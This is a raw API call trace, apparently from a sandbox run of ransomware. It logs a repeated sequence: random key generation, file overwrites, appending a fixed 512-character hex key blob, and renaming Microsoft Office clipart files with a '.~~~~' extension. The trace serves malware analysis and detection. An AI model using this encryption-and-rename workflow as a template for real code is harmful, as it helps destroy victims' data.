	[0112.628] GetLastError () returned 0x0
	[0112.628] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0112.630] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.630] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0112.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0112.631] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23262068559) returned 1
	[0112.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xacbc1f50, dwHighDateTime=0x1d60e1e)) 
	[0112.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0112.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0112.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0112.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28302f8
	[0112.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28302f8 | out: hHeap=0x300000) returned 1
	[0112.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28328e0
	[0112.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.632] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0112.632] GetLastError () returned 0x0
	[0112.632] GetLastError () returned 0x0
	[0112.632] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0112.632] GetLastError () returned 0x0
	[0112.632] GetLastError () returned 0x0
	[0112.713] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffc608, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.734] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x39f8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x39f8, lpOverlapped=0x0) returned 1
	[0112.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0112.735] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.736] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.736] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.736] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.736] CloseHandle (hObject=0x144) returned 1
	[0112.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.736] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf.~~~~")) returned 1
	[0112.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0112.737] GetLastError () returned 0x0
	[0112.738] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0112.739] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.739] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0112.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0112.740] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23272965571) returned 1
	[0112.740] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xacccc8f0, dwHighDateTime=0x1d60e1e)) 
	[0112.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0112.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0112.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0112.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28304f0
	[0112.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28304f0 | out: hHeap=0x300000) returned 1
	[0112.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2832e38
	[0112.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.740] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0112.741] GetLastError () returned 0x0
	[0112.741] GetLastError () returned 0x0
	[0112.741] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0112.741] GetLastError () returned 0x0
	[0112.741] GetLastError () returned 0x0
	[0112.744] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe0dc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.744] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1f24, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x1f24, lpOverlapped=0x0) returned 1
	[0112.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0112.745] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.745] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.745] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.745] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.746] CloseHandle (hObject=0x144) returned 1
	[0112.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.746] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf.~~~~")) returned 1
	[0112.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0112.747] GetLastError () returned 0x0
	[0112.748] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0112.750] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.750] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0112.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0112.750] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23274046149) returned 1
	[0112.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaccf2a50, dwHighDateTime=0x1d60e1e)) 
	[0112.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0112.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0112.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0112.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b368
	[0112.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b368 | out: hHeap=0x300000) returned 1
	[0112.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2833390
	[0112.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.751] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0112.751] GetLastError () returned 0x0
	[0112.752] GetLastError () returned 0x0
	[0112.752] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0112.752] GetLastError () returned 0x0
	[0112.752] GetLastError () returned 0x0
	[0112.755] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffde88, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.755] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x2178, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x2178, lpOverlapped=0x0) returned 1
	[0112.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0112.757] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.757] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.757] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.757] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.757] CloseHandle (hObject=0x144) returned 1
	[0112.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.758] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf.~~~~")) returned 1
	[0112.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0112.759] GetLastError () returned 0x0
	[0112.760] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0112.761] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.761] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0112.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0112.762] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23275181190) returned 1
	[0112.762] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaccf2a50, dwHighDateTime=0x1d60e1e)) 
	[0112.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0112.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0112.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0112.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b3a0
	[0112.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b3a0 | out: hHeap=0x300000) returned 1
	[0112.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2833428
	[0112.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.763] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0112.763] GetLastError () returned 0x0
	[0112.763] GetLastError () returned 0x0
	[0112.763] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0112.763] GetLastError () returned 0x0
	[0112.763] GetLastError () returned 0x0
	[0112.773] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe99c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.773] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1664, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x1664, lpOverlapped=0x0) returned 1
	[0112.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0112.774] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.775] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.775] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.775] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.775] CloseHandle (hObject=0x144) returned 1
	[0112.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29caa00
	[0112.775] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf.~~~~")) returned 1
	[0112.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caa00 | out: hHeap=0x300000) returned 1
	[0112.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0112.776] GetLastError () returned 0x0
	[0112.777] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0112.778] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.778] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0112.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0112.779] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23276867967) returned 1
	[0112.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xacd18bb0, dwHighDateTime=0x1d60e1e)) 
	[0112.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0112.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0112.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0112.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b250
	[0112.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b250 | out: hHeap=0x300000) returned 1
	[0112.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2943530
	[0112.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29caa00
	[0112.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2943530 | out: hHeap=0x300000) returned 1
	[0112.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28334c0
	[0112.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caa00 | out: hHeap=0x300000) returned 1
	[0112.780] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0112.780] GetLastError () returned 0x0
	[0112.780] GetLastError () returned 0x0
	[0112.780] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0112.780] GetLastError () returned 0x0
	[0112.780] GetLastError () returned 0x0
	[0112.869] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffc668, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.869] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3998, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x3998, lpOverlapped=0x0) returned 1
	[0112.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0112.870] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.870] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.870] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.870] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.870] CloseHandle (hObject=0x144) returned 1
	[0112.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cef90
	[0112.881] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf.~~~~")) returned 1
